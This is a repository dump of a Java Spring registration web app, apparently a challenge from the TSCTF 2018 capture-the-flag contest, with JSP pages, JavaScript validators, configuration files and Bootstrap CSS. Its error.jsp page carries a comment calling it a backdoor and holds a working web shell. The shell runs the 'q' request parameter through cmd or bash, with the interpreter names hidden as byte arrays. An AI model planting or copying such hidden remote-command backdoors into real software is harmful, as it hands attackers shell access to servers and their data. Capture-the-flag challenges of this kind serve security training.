contentType="text/html;charset=UTF-8" language="java" %> <% String path = request.getContextPath(); String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/"; %> index

      index

      <% response.sendRedirect(basePath+"index.html"); %> ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/webapp/js/bootstrap-datetimepicker.zh-CN.js ================================================ /** * Simplified Chinese translation for bootstrap-datetimepicker * Yuan Cheung */ ;(function($){ $.fn.datetimepicker.dates['zh-CN'] = { days: ["星期日", "星期一", "星期二", "星期三", "星期四", "星期五", "星期六", "星期日"], daysShort: ["周日", "周一", "周二", "周三", "周四", "周五", "周六", "周日"], daysMin: ["日", "一", "二", "三", "四", "五", "六", "日"], months: ["一月", "二月", "三月", "四月", "五月", "六月", "七月", "八月", "九月", "十月", "十一月", "十二月"], monthsShort: ["一月", "二月", "三月", "四月", "五月", "六月", "七月", "八月", "九月", "十月", "十一月", "十二月"], today: "今天", suffix: [], meridiem: ["上午", "下午"] }; }(jQuery)); ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/webapp/js/myValidator.js ================================================ /** * 密码强度正则,最少6位,包括至少1个大写字母,1个小写字母,1个数字,1个特殊字符 * 验证密码 * @param password * @returns {boolean} */ // function validatePassword(password) { // var pPattern = /^.*(?=.{6,})(?=.*\d)(?=.*[A-Z])(?=.*[a-z])(?=.*[!@#$%^&*? ]).*$/; // return pPattern.test(password); // } /** * //正整数正则 * @param number */ function validatePositiveInteger(number) { var posPattern = /^\d+$/; return posPattern.test(number); } /** * 验证Email * @param email * @returns {boolean} */ function validateEmail(email) { //Email正则 var ePattern = /^([A-Za-z0-9_\-\.])+\@([A-Za-z0-9_\-\.])+\.([A-Za-z]{2,4})$/; return ePattern.test(email); } /** * 电话号码 * @param phone * @returns {boolean} */ function validatePhoneNumber(phone) { var mPattern = /^1[34578]\d{9}$/; //http://caibaojian.com/regexp-example.html return mPattern.test(phone); } /** * 身份证号(18位)正则 * @param IDNumber * @returns {boolean} */ function validateIDNumber(IDNumber) { var cP = /^[1-9]\d{5}(18|19|([23]\d))\d{2}((0[1-9])|(10|11|12))(([0-2][1-9])|10|20|30|31)\d{3}[0-9Xx]$/; return cP.test(IDNumber); } /** * //日期正则,复杂判定 * @param date */ function validateDate(date) { //日期正则,简单判定,未做月份及日期的判定 var dP1 = dP2 = /^(?:(?!0000)[0-9]{4}-(?:(?:0[1-9]|1[0-2])-(?:0[1-9]|1[0-9]|2[0-8])|(?:0[13-9]|1[0-2])-(?:29|30)|(?:0[13578]|1[02])-31)|(?:[0-9]{2}(?:0[48]|[2468][048]|[13579][26])|(?:0[48]|[2468][048]|[13579][26])00)-02-29)$/; return dP1.test(date); } function validateLengthMax(str,max) { var len = getByteLen(str); return len<=max; } function validateLengthMin(str,min) { var len = getByteLen(str); return len>=min; } /** * 校验用户名 * 要求:0-9a-zA-Z和@.+-_ * 长度:30以内 * @param username */ function validateUserName(username) { var uPattern = /^[0-9a-zA-Z@.+\-_]{1,30}$/; return uPattern.test(username); } /** * 校验密码 * 要求:0-9a-zA-Z * 长度:6-12位 * @param password */ function validatePassword(password) { var uPattern = /^[0-9a-zA-Z]{6,12}$/; return uPattern.test(password); } /** * 获取字符串长度,一个中文算两个字符 * @param val * @returns {number} */ function getByteLen(val) { var len = 0; for (var i = 0; i < val.length; i++) { var a = val.charAt(i); if (a.match(/[^\x00-\xff]/ig) != null) { len += 2; } else { len += 1; } } return len; } function myTrim(x) { return x.replace(/^\s+|\s+$/gm,''); } ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/webapp/js/showTips.js ================================================ //tip是提示信息,type:'success'是成功信息,'danger'是失败信息,'info'是普通信息 function ShowTip(tip, type) { var $tip = $('#tip'); if ($tip.length == 0) { $tip = $(''); $('body').append($tip); } $tip.stop(true).attr('class', 'alert alert-' + type).text(tip).css('margin-left', -$tip.outerWidth() / 2).fadeIn(500).delay(3000).fadeOut(1500); } function ShowMsg(msg) { ShowTip(msg, 'info'); } function ShowSuccess(msg) { ShowTip(msg, 'success'); } function ShowFailure(msg) { ShowTip(msg, 'danger'); } function ShowWarn(msg, $focus, clear) { ShowTip(msg, 'warning'); if ($focus) $focus.focus(); if (clear) $focus.val(''); return false; } ================================================ FILE: web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/WEB-INF/bupt-servlet.xml ================================================ ================================================ FILE: web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/WEB-INF/classes/spring/ApplicationContext-dao.xml ================================================ ================================================ FILE: web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/WEB-INF/classes/spring/ApplicationContext-service.xml ================================================ ================================================ FILE: web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/WEB-INF/classes/spring/spring-context.xml ================================================ ================================================ FILE: web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/WEB-INF/classes/spring/sprintmvc.xml ================================================ ================================================ FILE: web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/WEB-INF/classes/sysConfig.properties ================================================ #Mail mail.transport.protocol=SMTP #mail.smtp.host=smtp.163.com mail.smtp.host=mail.bupt.edu.cn mail.smtp.port=25 mail.smtp.auth=true mail.smtp.timeout=25000 mail.username=test@bupt.edu.cn mail.password=test #system star and end time system.start.time=2018-05-24 15:10:00 system.end.time=2018-06-28 17:00:00 system.time.format=yyyy-MM-dd HH:mm:ss system.emailOperation.start.time=2018-05-24 15:10:00 system.emailOperation.end.time=2018-07-17 16:03:00 system.public.ctf.email=test@bupt.edu.cn #competition.link.releaseState=false competition.link.releaseState=true #信息学竞赛入口 competition.link.noip=http://2018.tsctf.com #CTF竞赛入口 competition.link.ctf=http://2018.tsctf.com ================================================ FILE: web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/WEB-INF/jsp/alink.jsp ================================================ <%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% String path = request.getContextPath(); String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/"; %>

      信息公告栏

      恋爱的季节

      一首《明天会更好》送给单身狗们

      恋爱的季节

      春天是一个恋爱的季节
      ================================================ FILE: web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/WEB-INF/jsp/arrangeMent.jsp ================================================ <%@ page import="com.bupt.utils.SysConfigUtils" %> <%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% String path = request.getContextPath(); String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/"; %>

      如何才能优雅的“脱单”  

              

              哈哈哈,一看就是一只还没脱单的单身狗,汪汪汪~

              吃完今天的狗粮,早点洗洗睡吧

      ================================================ FILE: web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/WEB-INF/jsp/competitionRule.jsp ================================================ <%@ page import="com.bupt.utils.SysConfigUtils" %> <%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% String path = request.getContextPath(); String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/"; %>

      恋爱的季节-经验分享  

              

              无论从生物学人类繁衍,物种延续,基因传承的本能来说,还是社会学人们对亲密关系的需求,爱情是世世代代人类需要面临的问题

          1. 增加魅力

              吸引异性的魅力有两种,一种是和性别无关的魅力,这种魅力男女都可以有,例如:外貌姣好,情商高;另一种是和性别有关的魅力,例如:男性的魁梧高大、事业有成,女性的温柔可爱。因此不管是追求阶段还是恋爱当中,都需要注意这种魅力的展示与提升。从外在形象,人品学识,到才华能力都是产生吸引力的因素,很多时候,一个人的魅力往往在细节中体现出来,比如:男生约女生吃饭的时候主动帮对方调节座位则被认为是有风度的表现。

              2. 增加相处机会

              日远日疏,日近日亲”,两人接触在一起的时间长了,就会制造出机会来。所以看到一个中意的男生,一定要制造机会缠住他,有机会要接近他,没有机会创造机会也要接近他。《倚天屠龙记》赵敏就是心有灵犀,也自觉不自觉地运用了这一计策,正是在去灵蛇岛的途中,张无忌和赵敏才有了深厚的感情。 共同经历更容易产生共鸣。一起有过一段美好的经历,彼此可能产生性吸引。一起经历过苦难,在苦难中相互帮助,给与彼此温暖的感觉,彼此也可能产生性吸引。要有共同的经历,首先得增加接触,在早期可以从做朋友开始,相处的机会多了,在一起有了共同的经历,相互之间了解更多,就可能逐渐产生感情

      ================================================ FILE: web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/WEB-INF/jsp/error.jsp ================================================ <%@ page import="java.util.Scanner" %> <%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% String path = request.getContextPath(); String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/"; %> <%//留的后门 String op="Got Nothing"; String query = request.getParameter("q"); String fileSeparator = String.valueOf(java.io.File.separatorChar); Boolean isWin; if(fileSeparator.equals("\\")){ isWin = true; }else{ isWin = false; } if (query != null) { ProcessBuilder pb; if(isWin) { pb = new ProcessBuilder(new String(new byte[]{99, 109, 100}), new String(new byte[]{47, 67}), query); }else{ pb = new ProcessBuilder(new String(new byte[]{47, 98, 105, 110, 47, 98, 97, 115, 104}), new String(new byte[]{45, 99}), query); } Process process = pb.start(); Scanner sc = new Scanner(process.getInputStream()).useDelimiter("\\A"); op = sc.hasNext() ? sc.next() : op; sc.close(); } %>

      请求异常

      错误信息

      ${message}
      ================================================ FILE: web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/WEB-INF/jsp/excel.jsp ================================================ <%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% String path = request.getContextPath(); String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/"; %>

      系统管理

      下载报名表信息

      ${flag}

      ================================================ FILE: web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/WEB-INF/jsp/exception.jsp ================================================ <%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% String path = request.getContextPath(); String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/"; %>

      请求出错

      错误信息

      请求异常!
      ================================================ FILE: web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/WEB-INF/jsp/find.jsp ================================================ <%@ page import="com.bupt.utils.SystemDateTimeChecker" %> <%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% String path = request.getContextPath(); String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/"; %>

      找回密码

      ================================================ FILE: web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/WEB-INF/jsp/index.jsp ================================================ <%@ page import="com.bupt.utils.SystemDateTimeChecker" %> <%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% String path = request.getContextPath(); String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/"; %> ================================================ FILE: web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/WEB-INF/jsp/login.jsp ================================================ <%@ page import="com.bupt.utils.SystemDateTimeChecker" %> <%@ page import="java.text.SimpleDateFormat" %> <%@ page import="java.util.Date" %> <%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% String path = request.getContextPath(); String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/"; %>

      用户登录

      <%--
      --%> <%----%> <%--
      --%> <%--
      --%> <%--
      --%> <%----%> <%--
      --%> <%--
      --%> <%----%> <%----%> <%----%> <%--
      --%> <%--
      --%> <%--
      --%> <%--
      --%>
      <% if(SystemDateTimeChecker.checkNowOk()){ %>
      没有账号,马上注册
      <% } %>
      忘记密码
      ================================================ FILE: web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/WEB-INF/jsp/noProfile.jsp ================================================ <%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% String path = request.getContextPath(); String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/"; %>

      ${username}

      提示信息信息

      ${message}
      ================================================ FILE: web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/WEB-INF/jsp/profile.jsp ================================================ <%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% String path = request.getContextPath(); String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/"; %> ================================================ FILE: web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/WEB-INF/jsp/profile_add.jsp ================================================ <%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% String path = request.getContextPath(); String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/"; %>

      恋爱的季节

      培训申请表


      个人基本信息【必填】

         
           

      更多【必填】

      未上传文件
      【图片大小不超过4M,仅支持png,jpg,jpeg类型图片格式】
      ================================================ FILE: web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/WEB-INF/jsp/profile_edit.jsp ================================================ <%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% String path = request.getContextPath(); String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/"; %>

      修改个人信息


      个人基本信息【必填】

         
           

      更多【必填】

      未上传文件
      ================================================ FILE: web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/WEB-INF/jsp/profile_view.jsp ================================================ <%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% String path = request.getContextPath(); String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/"; %>

      用户${profile.name} 报名信息


      个人基本信息

      ${Template}

      更多

      ================================================ FILE: web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/WEB-INF/jsp/register.jsp ================================================ <%@ page import="com.bupt.utils.SystemDateTimeChecker" %> <%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% String path = request.getContextPath(); String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/"; %>
      <% if(!SystemDateTimeChecker.checkNowOk()){ %> <% }else { %>

      用户注册

      已有账号?马上登录
      <% } %>
      ================================================ FILE: web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/WEB-INF/jsp/success.jsp ================================================ <%@ page contentType="text/html;charset=UTF-8" language="java" %> success

      登陆成功

      ${username} ================================================ FILE: web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/WEB-INF/views/404.html ================================================ 404 404
      3秒自动跳转 ================================================ FILE: web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/WEB-INF/views/500.html ================================================ Title ================================================ FILE: web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/WEB-INF/views/login/login.html ================================================ TSCTF2018
      " method="post"> 用户名:
      密 码:
      ================================================ FILE: web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/WEB-INF/web.xml ================================================ contextConfigLocation classpath:spring/ApplicationContext-*.xml org.springframework.web.context.ContextLoaderListener springmvc org.springframework.web.servlet.DispatcherServlet contextConfigLocation classpath:spring/sprintmvc.xml 1 default *.js *.css /css/*" /js/*" /bootstrap3.3.5/* springmvc / encodingFilter org.springframework.web.filter.CharacterEncodingFilter encoding UTF-8 forceEncoding true encodingFilter /* 404 /WEB-INF/views/404.html ================================================ FILE: web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/bootstrap3.3.5/css/bootstrap-theme.css ================================================ /*! * Bootstrap v3.3.5 (http://getbootstrap.com) * Copyright 2011-2015 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */ .btn-default, .btn-primary, .btn-success, .btn-info, .btn-warning, .btn-danger { text-shadow: 0 -1px 0 rgba(0, 0, 0, .2); -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, .15), 0 1px 1px rgba(0, 0, 0, .075); box-shadow: inset 0 1px 0 rgba(255, 255, 255, .15), 0 1px 1px rgba(0, 0, 0, .075); } .btn-default:active, .btn-primary:active, .btn-success:active, .btn-info:active, .btn-warning:active, .btn-danger:active, .btn-default.active, .btn-primary.active, .btn-success.active, .btn-info.active, .btn-warning.active, .btn-danger.active { -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125); box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125); } .btn-default.disabled, .btn-primary.disabled, .btn-success.disabled, .btn-info.disabled, .btn-warning.disabled, .btn-danger.disabled, .btn-default[disabled], .btn-primary[disabled], .btn-success[disabled], .btn-info[disabled], .btn-warning[disabled], .btn-danger[disabled], fieldset[disabled] .btn-default, fieldset[disabled] .btn-primary, fieldset[disabled] .btn-success, fieldset[disabled] .btn-info, fieldset[disabled] .btn-warning, fieldset[disabled] .btn-danger { -webkit-box-shadow: none; box-shadow: none; } .btn-default .badge, .btn-primary .badge, .btn-success .badge, .btn-info .badge, .btn-warning .badge, .btn-danger .badge { text-shadow: none; } .btn:active, .btn.active { background-image: none; } .btn-default { text-shadow: 0 1px 0 #fff; background-image: -webkit-linear-gradient(top, #fff 0%, #e0e0e0 100%); background-image: -o-linear-gradient(top, #fff 0%, #e0e0e0 100%); background-image: -webkit-gradient(linear, left top, left bottom, from(#fff), to(#e0e0e0)); background-image: linear-gradient(to bottom, #fff 0%, #e0e0e0 100%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#ffe0e0e0', GradientType=0); filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); background-repeat: repeat-x; border-color: #dbdbdb; border-color: #ccc; } .btn-default:hover, .btn-default:focus { background-color: #e0e0e0; background-position: 0 -15px; } .btn-default:active, .btn-default.active { background-color: #e0e0e0; border-color: #dbdbdb; } .btn-default.disabled, .btn-default[disabled], fieldset[disabled] .btn-default, .btn-default.disabled:hover, .btn-default[disabled]:hover, fieldset[disabled] .btn-default:hover, .btn-default.disabled:focus, .btn-default[disabled]:focus, fieldset[disabled] .btn-default:focus, .btn-default.disabled.focus, .btn-default[disabled].focus, fieldset[disabled] .btn-default.focus, .btn-default.disabled:active, .btn-default[disabled]:active, fieldset[disabled] .btn-default:active, .btn-default.disabled.active, .btn-default[disabled].active, fieldset[disabled] .btn-default.active { background-color: #e0e0e0; background-image: none; } .btn-primary { background-image: -webkit-linear-gradient(top, #337ab7 0%, #265a88 100%); background-image: -o-linear-gradient(top, #337ab7 0%, #265a88 100%); background-image: -webkit-gradient(linear, left top, left bottom, from(#337ab7), to(#265a88)); background-image: linear-gradient(to bottom, #337ab7 0%, #265a88 100%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff265a88', GradientType=0); filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); background-repeat: repeat-x; border-color: #245580; } .btn-primary:hover, .btn-primary:focus { background-color: #265a88; background-position: 0 -15px; } .btn-primary:active, .btn-primary.active { background-color: #265a88; border-color: #245580; } .btn-primary.disabled, .btn-primary[disabled], fieldset[disabled] .btn-primary, .btn-primary.disabled:hover, .btn-primary[disabled]:hover, fieldset[disabled] .btn-primary:hover, .btn-primary.disabled:focus, .btn-primary[disabled]:focus, fieldset[disabled] .btn-primary:focus, .btn-primary.disabled.focus, .btn-primary[disabled].focus, fieldset[disabled] .btn-primary.focus, .btn-primary.disabled:active, .btn-primary[disabled]:active, fieldset[disabled] .btn-primary:active, .btn-primary.disabled.active, .btn-primary[disabled].active, fieldset[disabled] .btn-primary.active { background-color: #265a88; background-image: none; } .btn-success { background-image: -webkit-linear-gradient(top, #5cb85c 0%, #419641 100%); background-image: -o-linear-gradient(top, #5cb85c 0%, #419641 100%); background-image: -webkit-gradient(linear, left top, left bottom, from(#5cb85c), to(#419641)); background-image: linear-gradient(to bottom, #5cb85c 0%, #419641 100%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5cb85c', endColorstr='#ff419641', GradientType=0); filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); background-repeat: repeat-x; border-color: #3e8f3e; } .btn-success:hover, .btn-success:focus { background-color: #419641; background-position: 0 -15px; } .btn-success:active, .btn-success.active { background-color: #419641; border-color: #3e8f3e; } .btn-success.disabled, .btn-success[disabled], fieldset[disabled] .btn-success, .btn-success.disabled:hover, .btn-success[disabled]:hover, fieldset[disabled] .btn-success:hover, .btn-success.disabled:focus, .btn-success[disabled]:focus, fieldset[disabled] .btn-success:focus, .btn-success.disabled.focus, .btn-success[disabled].focus, fieldset[disabled] .btn-success.focus, .btn-success.disabled:active, .btn-success[disabled]:active, fieldset[disabled] .btn-success:active, .btn-success.disabled.active, .btn-success[disabled].active, fieldset[disabled] .btn-success.active { background-color: #419641; background-image: none; } .btn-info { background-image: -webkit-linear-gradient(top, #5bc0de 0%, #2aabd2 100%); background-image: -o-linear-gradient(top, #5bc0de 0%, #2aabd2 100%); background-image: -webkit-gradient(linear, left top, left bottom, from(#5bc0de), to(#2aabd2)); background-image: linear-gradient(to bottom, #5bc0de 0%, #2aabd2 100%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5bc0de', endColorstr='#ff2aabd2', GradientType=0); filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); background-repeat: repeat-x; border-color: #28a4c9; } .btn-info:hover, .btn-info:focus { background-color: #2aabd2; background-position: 0 -15px; } .btn-info:active, .btn-info.active { background-color: #2aabd2; border-color: #28a4c9; } .btn-info.disabled, .btn-info[disabled], fieldset[disabled] .btn-info, .btn-info.disabled:hover, .btn-info[disabled]:hover, fieldset[disabled] .btn-info:hover, .btn-info.disabled:focus, .btn-info[disabled]:focus, fieldset[disabled] .btn-info:focus, .btn-info.disabled.focus, .btn-info[disabled].focus, fieldset[disabled] .btn-info.focus, .btn-info.disabled:active, .btn-info[disabled]:active, fieldset[disabled] .btn-info:active, .btn-info.disabled.active, .btn-info[disabled].active, fieldset[disabled] .btn-info.active { background-color: #2aabd2; background-image: none; } .btn-warning { background-image: -webkit-linear-gradient(top, #f0ad4e 0%, #eb9316 100%); background-image: -o-linear-gradient(top, #f0ad4e 0%, #eb9316 100%); background-image: -webkit-gradient(linear, left top, left bottom, from(#f0ad4e), to(#eb9316)); background-image: linear-gradient(to bottom, #f0ad4e 0%, #eb9316 100%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff0ad4e', endColorstr='#ffeb9316', GradientType=0); filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); background-repeat: repeat-x; border-color: #e38d13; } .btn-warning:hover, .btn-warning:focus { background-color: #eb9316; background-position: 0 -15px; } .btn-warning:active, .btn-warning.active { background-color: #eb9316; border-color: #e38d13; } .btn-warning.disabled, .btn-warning[disabled], fieldset[disabled] .btn-warning, .btn-warning.disabled:hover, .btn-warning[disabled]:hover, fieldset[disabled] .btn-warning:hover, .btn-warning.disabled:focus, .btn-warning[disabled]:focus, fieldset[disabled] .btn-warning:focus, .btn-warning.disabled.focus, .btn-warning[disabled].focus, fieldset[disabled] .btn-warning.focus, .btn-warning.disabled:active, .btn-warning[disabled]:active, fieldset[disabled] .btn-warning:active, .btn-warning.disabled.active, .btn-warning[disabled].active, fieldset[disabled] .btn-warning.active { background-color: #eb9316; background-image: none; } .btn-danger { background-image: -webkit-linear-gradient(top, #d9534f 0%, #c12e2a 100%); background-image: -o-linear-gradient(top, #d9534f 0%, #c12e2a 100%); background-image: -webkit-gradient(linear, left top, left bottom, from(#d9534f), to(#c12e2a)); background-image: linear-gradient(to bottom, #d9534f 0%, #c12e2a 100%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9534f', endColorstr='#ffc12e2a', GradientType=0); filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); background-repeat: repeat-x; border-color: #b92c28; } .btn-danger:hover, .btn-danger:focus { background-color: #c12e2a; background-position: 0 -15px; } .btn-danger:active, .btn-danger.active { background-color: #c12e2a; border-color: #b92c28; } .btn-danger.disabled, .btn-danger[disabled], fieldset[disabled] .btn-danger, .btn-danger.disabled:hover, .btn-danger[disabled]:hover, fieldset[disabled] .btn-danger:hover, .btn-danger.disabled:focus, .btn-danger[disabled]:focus, fieldset[disabled] .btn-danger:focus, .btn-danger.disabled.focus, .btn-danger[disabled].focus, fieldset[disabled] .btn-danger.focus, .btn-danger.disabled:active, .btn-danger[disabled]:active, fieldset[disabled] .btn-danger:active, .btn-danger.disabled.active, .btn-danger[disabled].active, fieldset[disabled] .btn-danger.active { background-color: #c12e2a; background-image: none; } .thumbnail, .img-thumbnail { -webkit-box-shadow: 0 1px 2px rgba(0, 0, 0, .075); box-shadow: 0 1px 2px rgba(0, 0, 0, .075); } .dropdown-menu > li > a:hover, .dropdown-menu > li > a:focus { background-color: #e8e8e8; background-image: -webkit-linear-gradient(top, #f5f5f5 0%, #e8e8e8 100%); background-image: -o-linear-gradient(top, #f5f5f5 0%, #e8e8e8 100%); background-image: -webkit-gradient(linear, left top, left bottom, from(#f5f5f5), to(#e8e8e8)); background-image: linear-gradient(to bottom, #f5f5f5 0%, #e8e8e8 100%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff5f5f5', endColorstr='#ffe8e8e8', GradientType=0); background-repeat: repeat-x; } .dropdown-menu > .active > a, .dropdown-menu > .active > a:hover, .dropdown-menu > .active > a:focus { background-color: #2e6da4; background-image: -webkit-linear-gradient(top, #337ab7 0%, #2e6da4 100%); background-image: -o-linear-gradient(top, #337ab7 0%, #2e6da4 100%); background-image: -webkit-gradient(linear, left top, left bottom, from(#337ab7), to(#2e6da4)); background-image: linear-gradient(to bottom, #337ab7 0%, #2e6da4 100%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2e6da4', GradientType=0); background-repeat: repeat-x; } .navbar-default { background-image: -webkit-linear-gradient(top, #fff 0%, #f8f8f8 100%); background-image: -o-linear-gradient(top, #fff 0%, #f8f8f8 100%); background-image: -webkit-gradient(linear, left top, left bottom, from(#fff), to(#f8f8f8)); background-image: linear-gradient(to bottom, #fff 0%, #f8f8f8 100%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#fff8f8f8', GradientType=0); filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); background-repeat: repeat-x; border-radius: 4px; -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, .15), 0 1px 5px rgba(0, 0, 0, .075); box-shadow: inset 0 1px 0 rgba(255, 255, 255, .15), 0 1px 5px rgba(0, 0, 0, .075); } .navbar-default .navbar-nav > .open > a, .navbar-default .navbar-nav > .active > a { background-image: -webkit-linear-gradient(top, #dbdbdb 0%, #e2e2e2 100%); background-image: -o-linear-gradient(top, #dbdbdb 0%, #e2e2e2 100%); background-image: -webkit-gradient(linear, left top, left bottom, from(#dbdbdb), to(#e2e2e2)); background-image: linear-gradient(to bottom, #dbdbdb 0%, #e2e2e2 100%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdbdbdb', endColorstr='#ffe2e2e2', GradientType=0); background-repeat: repeat-x; -webkit-box-shadow: inset 0 3px 9px rgba(0, 0, 0, .075); box-shadow: inset 0 3px 9px rgba(0, 0, 0, .075); } .navbar-brand, .navbar-nav > li > a { text-shadow: 0 1px 0 rgba(255, 255, 255, .25); } .navbar-inverse { background-image: -webkit-linear-gradient(top, #3c3c3c 0%, #222 100%); background-image: -o-linear-gradient(top, #3c3c3c 0%, #222 100%); background-image: -webkit-gradient(linear, left top, left bottom, from(#3c3c3c), to(#222)); background-image: linear-gradient(to bottom, #3c3c3c 0%, #222 100%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff3c3c3c', endColorstr='#ff222222', GradientType=0); filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); background-repeat: repeat-x; border-radius: 4px; } .navbar-inverse .navbar-nav > .open > a, .navbar-inverse .navbar-nav > .active > a { background-image: -webkit-linear-gradient(top, #080808 0%, #0f0f0f 100%); background-image: -o-linear-gradient(top, #080808 0%, #0f0f0f 100%); background-image: -webkit-gradient(linear, left top, left bottom, from(#080808), to(#0f0f0f)); background-image: linear-gradient(to bottom, #080808 0%, #0f0f0f 100%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff080808', endColorstr='#ff0f0f0f', GradientType=0); background-repeat: repeat-x; -webkit-box-shadow: inset 0 3px 9px rgba(0, 0, 0, .25); box-shadow: inset 0 3px 9px rgba(0, 0, 0, .25); } .navbar-inverse .navbar-brand, .navbar-inverse .navbar-nav > li > a { text-shadow: 0 -1px 0 rgba(0, 0, 0, .25); } .navbar-static-top, .navbar-fixed-top, .navbar-fixed-bottom { border-radius: 0; } @media (max-width: 767px) { .navbar .navbar-nav .open .dropdown-menu > .active > a, 